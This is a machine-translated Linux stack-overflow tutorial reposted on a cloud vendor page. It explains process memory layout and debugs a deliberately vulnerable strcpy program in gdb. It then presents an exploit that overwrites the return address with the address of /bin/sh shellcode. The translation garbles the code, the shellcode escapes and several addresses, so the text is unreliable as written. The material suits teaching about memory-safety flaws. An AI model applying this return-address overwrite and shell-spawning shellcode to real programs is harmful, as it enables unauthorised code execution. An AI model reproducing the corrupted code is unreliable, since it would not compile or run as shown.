Principle and utilization of stack overflow in Linux (zt)

Source: Internet
Author: User
Principle and utilization of stack overflow in Linux
Author: Xinhe Source: xfocus.net clicks:

23. Updated on:

Principle and utilization of stack overflow in Linux
Author: Xinhe
1. Process Space Memory Distribution
When a program is running, the system will allocate 4 GB of virtual memory to the program, which is shared with 2 GB and accessible to the kernel,
2 GB is exclusive to the process, and the program is divided into program segments, data segments, and stack segments. Dynamic data is stored through stack segments.
The distribution is as follows:
High memory
+ ------------------- +
| Program segment |
+ ------------------- +
| Data Segment |
+ ------------------- +
| Stack |
+ ------------------- +
Low-end memory

The distribution of stack segments is as follows:
High memory
+ ------------------- +
| Function stack |
+ ------------------- +
| Function stack |
+ ------------------- +
| ------- |
+ ------------------- +
| Heap |
+ ------------------- +
Low-end memory

2. Use of stacks by programs
Each time the program calls a function, it will apply for a certain amount of space in the stack. We call this space a function stack, and with the number of layers of function calls
Increase: function stack blocks are extended from high-end memory to low-end memory addresses. Otherwise, as the number of function calls in a process decreases
Function stacks are discarded and scaled back to the memory address. The stack size of each function varies with the function nature.
The difference is determined by the number of local variables of the function.
The process dynamically applies for memory in the heap (HEAP). That is to say, as the system dynamically allocates more memory to the process,
Heap (HEAP) may extend to high-or low-address, depending on the implementation of different CPUs, but generally increases to the high-address direction of memory.
When a function call occurs, the function parameters are first pushed to the stack, and then the return address of the function is pushed to the stack. The return address here is usually
The address of the next instruction of the call.
Here we use an instance to illustrate this process:
Write such a program
// Test. c
# Include <stdio. h>
Int fun (char * Str)
{
Char buffer [10];
Strcpy (buffer, STR );
Printf ("% s", buffer );
Return 0;
}
Int main (INT argc, char ** argv)
{
Int I = 0;
Char * STR;
STR = argv [1];
Fun (STR );
Return 0;
}
Compile gcc-g-o Test test. c
Use GDB for debugging.
GDB Test
Disassemble the main function
0x08048db <main + 0>: Push % EBP
0x080483dc <main + 1>: mov % ESP, % EBP
0x080483de <main + 3>: Sub $0x8, % ESP
0x080483e1 <main + 6>: and $0xfffffff0, % ESP
0x080483e4 <main + 9>: mov $0x0, % eax
0x080483e9 <main + 14>: Sub % eax, % ESP
0x080483eb <main + 16>: movl $0x0, 0 xfffffffc (% EBP)
0x080483f2 <main + 23>: mov 0xc (% EBP), % eax
0x080483f5 <main + 26>: add $0x4, % eax
0x080483f8 <main + 29>: mov (% eax), % eax
0x080483fa <main + 31>: mov % eax, 0xfffffff8 (% EBP)
0x080483fd <main + 34>: Sub $ 0xc, % ESP
0x08048400 <main + 37>: pushl 0xfffffff8 (% EBP)
0x08048403 <main + 40>: Call 0x80483a8 <fun>
0x08048408 <main + 45>: add $0x10, % ESP
0x0804840b <main + 48>: mov $0x0, % eax
Zero X 08048410 <main + 53>: Leave
0x08048411 <main + 54>: Ret

Pay attention to this line
0x08048403 <main + 40>: Call 0x80483a8 <fun>
This line calls the fun function, and the command address of the next line is: 0x08048408, that is, 0x08048408 will be returned after the fun function is called.
Set a breakpoint in the first line of the original program
B 14
Run AAAA
At this time, before the program ships to the function call, check the register address.
I reg
Eax 0xbffffaa7-1073743193
ECX 0 x bffff960-1073743520
EdX 0 x bffff954-1073743532
EBX 0x4014effc 1075113980
ESP 0xbffff8c0 0xbffff8c0
EBP 0xbffff8c8 0xbff8c8
ESI 0x2 2
EDI 0x401510fc 1075122428
EIP 0x80483fd 0x80483fd
Eflags 0x200282 2097794
CS 0x73 115
SS 0x7b 123
DS 0x7b 123
Es 0x7b 123
FS 0x0 0
GS 0x33 51
Here we need to care about the main register ESP (stack top pointer), EBP (stack bottom pointer), EIP (Instruction Pointer)
Let's take a look at the data in ESP.
X/8x $ ESP
0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4
0xbffff8d0: 0x00000002 0xbffff954 0xbffff960 0x40037090
Let's take a look at the STR address.
Print Str
$1 = 0xbffffaa7 "aaaa"
Because STR is a parameter in the command line, it is obvious that when the main function is called here, the parameter address is first pushed into the stack.
Then, execute the program in one step and check the register again.
Si
Si
Si
I reg
Eax 0xbffffaa7-1073743193
ECX 0 x bffff960-1073743520
EdX 0 x bffff954-1073743532
EBX 0x4014effc 1075113980
ESP 0xbffff8ac 0xbffff8ac
EBP 0xbffff8c8 0xbff8c8
ESI 0x2 2
EDI 0x401510fc 1075122428
EIP 0x80483a8 0x80483a8
Eflags 0x200396 2098070
CS 0x73 115
SS 0x7b 123
DS 0x7b 123
Es 0x7b 123
FS 0x0 0
GS 0x33 51

We found that the ESP value has changed. Let's see what is under pressure.
X/8x $ ESP
0xbffff8ac: 0x08048408 0xbffffaa7 0x4014effc 0x00000000
0xbffff8bc: 0x4014effc 0xbffffaa7 0x00000000 0xbffff928
Here I can clearly see the call Process
First, the parameter address 0xbffffaa7 is pushed into the stack, and then the return address 0x08048408 is pushed into the stack.
Next, let's look at it.
We also decompiled the fun function.
Disas fun
0x080483a8 <fun + 0>: Push % EBP
0x080483a9 <fun + 1>: mov % ESP, % EBP
0x080483ab <fun + 3>: Sub $0x18, % ESP
0x080483ae <fun + 6>: Sub $0x8, % ESP
0x080483b1 <fun + 9>: pushl 0x8 (% EBP)
0x080483b4 <fun + 12>: Lea 0xffffffe8 (% EBP), % eax
0x080483b7 <fun + 15>: Push % eax
0x080483b8 <fun + 16>: Call 0x80482e8 <_ init + 72>
0x080483bd <fun + 21>: add $0x10, % ESP
0x080483c0 <fun + 24>: Sub $0x8, % ESP
0x080483c3 <fun + 27>: Lea 0xffffffe8 (% EBP), % eax
0x080483c6 <fun + 30>: Push % eax
0x080483c7 <fun + 31>: Push $0x80484e8
0x080483cc <fun + 36>: Call 0x80482d8 <_ init + 56>
0x080483d1 <fun + 41>: add $0x10, % ESP
0x080483d4 <fun + 44>: mov $0x0, % eax
0x080483d9 <fun + 49>: Leave
0x080483da <fun + 50>: Ret
Continue to execute
Si
Si
Si
X/16x $ ESP
0xbffff890: 0x08048414 0x080495d0 0xbff8a8 0x080482b5
0xbffff8a0: 0x00000000 0x00000000 0xbff8c8 0x08048408
0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc
0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4

Print & Buffer
$7 = (char (*) [10]) 0xbffff890

It can be seen that the program allocates space for the buffer, and the size of the space is 24 bytes.
Program continues execution
Next
X/16x $ ESP

0xbffff890: 0x41414141 0x08049500 0xbffff8a8 0x080482b5
0xbffff8a0: 0x00000000 0x00000000 0xbff8c8 0x08048408
0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc
0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4
From this we can see that starting from the address 0xbffff890 (also the buffer address), it begins to fill the high-end memory.
The accesskey ID of Four "A" A is 41.

3. Its Stack Buffer Overflow
We will continue to analyze this program.
When we define a buffer, We need to allocate 10 bytes of space, and the program can actually allocate 24 bytes of space. When strcpy is executed
The length of a copied to buffer is not checked. If the number of a copied to buffer exceeds 24 bytes, overflow occurs.
If the length of a copied to the buffer is long enough and the return address 0x08048408 is overwritten, the program will fail. Common reports
If the returned address cannot be accessed, a segment error occurs.

4. Stack Buffer Overflow.
Since we may overwrite the return address, it means we can control the process of the program. If the return address is exactly a shellcode
To obtain a shell.
Next we will write an exploit to attack this program.
// Test_exploit.c
# Include <stdio. h>
# Include <unistd. h>
Char shellcode [] = "/x31/XDB/x89/xd8/xb0/x17/XCD/X80"
"/Xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/X46/x07/x89/X46/x0c"
"/Xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/XCD/X80/x31/XDB"
"/X89/xd8/X40/XCD/X80/xe8/xdc/xFF/bin/sh ";
Int main ()
{
Char STR [] = "aaaaaaaaaa"
"Aaaaaaaaaa"
"Aaaaaaaaaa"
"AAAAA ";
* (Int *) & STR [28] = (INT) shellcode;
Char * Arg [] = {"./test", STR, null };
Execve (ARG [0], ARG, null );
Return 0;
}
Here, we store the shellcode address in the characters 28th, 29, 30, and 31 of STR, because we learned from the above analysis that the return address is
The position at which the buffer offset is 28.
Compile this program
Gcc-g-o test_exploit test_exploit.c
Execute. Haha, we are expecting the appearance of shellcode.

 

 

Reporter Note: There is a magazine <Buffer Overflow tutorial> edited by Wang Wei Fang Yong, who has a more systematic description of shellcode.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.